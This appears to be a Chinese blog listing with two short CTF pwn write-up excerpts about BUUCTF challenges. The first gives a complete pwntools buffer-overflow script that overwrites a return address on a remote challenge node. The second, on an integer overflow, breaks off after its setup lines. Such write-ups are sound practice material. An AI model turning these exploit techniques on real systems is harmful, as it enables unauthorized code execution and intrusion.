摘要: 简单题就是没有ebp少加8个字节就好了。 点击查看代码 from pwn import * io=remote("node4.buuoj.cn",27315) payload='a'*0x88+p64(0x400620) io.sendline(payload) io.interactive() 阅读全文
posted @ 2022-06-30 15:31 REPWNER 阅读(7) 评论(0) 推荐(0)
摘要: 整数溢出漏洞。这里记住一个函数就get_n他是把有无符号数进行转换。可以说就是整数溢出的标志。 点击查看代码 from pwn import * from LibcSearcher import * context(os="linux",arch="i386") io=remote("node4.b 阅读全文
posted @ 2022-06-30 13:36 REPWNER 阅读(19) 评论(0) 推荐(0)